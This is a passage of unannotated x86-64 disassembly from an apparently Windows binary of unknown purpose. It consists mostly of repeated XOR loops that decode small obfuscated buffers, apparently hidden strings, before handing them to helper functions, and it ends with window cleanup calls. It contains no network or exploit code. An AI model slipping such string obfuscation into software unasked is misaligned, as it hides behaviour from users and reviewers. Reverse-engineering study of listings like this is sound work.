jl 0x1400cd2f1
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400cd1f0
jmp 0x1400cd332
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400cd300
mov r8d, 0x10268
lea rdx, [0x140181100]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0xb02]
lea rcx, [rbp - 0xb]
call fcn.1400cf0e0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x1400cd4b0
mov r8d, r15d
cmp r12d, 2
jl 0x1400cd477
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400cd480
mov r8d, 0x10268
lea rdx, [0x1401811a8]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0xb11]
lea rcx, [rbp - 0xa]
call fcn.1400cf110
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x1400cd630
mov r8d, r15d
cmp r12d, 2
jl 0x1400cd5f5
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400cd600
mov r8d, 0x10268
lea rdx, [0x140181120]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp + 0x638]
lea rcx, [rbp - 9]
call fcn.1400cf140
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x1400cd7b0
mov r8d, r15d
cmp r12d, 2
jl 0x1400cd775
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
movd xmm6, ebx
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400cd780
mov r8d, 0x10268
lea rdx, [0x140181148]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp]
lea rcx, [rbp - 8]
call fcn.1400cf170
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x1400cd960
mov r8d, r15d
cmp r12d, 2
jl 0x1400cd927
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400cd820
cmp r8d, 0x16
jge 0x1400cd960
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400cd930
mov r8d, 0x10268
lea rdx, [0x140182360]
mov rcx, r10
call fcn.14005d470
lea rdx, [rbp]
lea rcx, [rbp - 7]
call fcn.1400cf1a0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x1400cdb10
mov r8d, r15d
cmp r12d, 2
jl 0x1400cdad7
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400cd9d0
cmp r8d, 0x15
jge 0x1400cdb10
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400cdae0
mov r8d, 0x10268
lea rdx, [0x1401810e0]
mov rcx, r10
call fcn.14005d470
call fcn.140029df0
call fcn.140022f60
call fcn.140028eb0
call fcn.1400222f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xed0], xmm0
mov rcx, qword [0x140197640]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1401975b0]
mov edx, edi
call qword [rax + 0x108]
mov rcx, qword [0x140197640]
mov rax, qword [rcx]
lea r8, [rbp + 0xed0]
mov rdx, qword [0x1401975b0]
call qword [rax + 0x190]
call fcn.14001f240
mov rcx, rax
call fcn.140067780
mov rcx, qword [0x1401975d8]
mov rax, qword [rcx]
movzx edx, byte [0x140196fe1]
xor r8d, r8d
call qword [rax + 0x40]
test r13b, r13b
jne 0x1400cdbd4
mov r14d, dword [rbp + 0xa8]
mov rsi, qword [rbp + 0x648]
jmp 0x1400bf3b6
lea rcx, [rbp + 0x3d8]
call fcn.1400d2b20
nop
lea rcx, [rbp + 0x3b0]
call fcn.1400d2aa0
jmp 0x1400cdc0b
call fcn.140068b80
call fcn.140068f40
xor ecx, ecx
call fcn.14001d5e0
call fcn.1400cf720
mov rcx, qword [rbp + 0x648]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x10c8]
mov rcx, qword [rbp + 0x10f0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea r11, [rsp + 0x1a98]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm13, xmmword [r11 - 0x88]
movaps xmm14, xmmword [r11 - 0x98]
movaps xmm15, xmmword [r11 - 0xa8]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret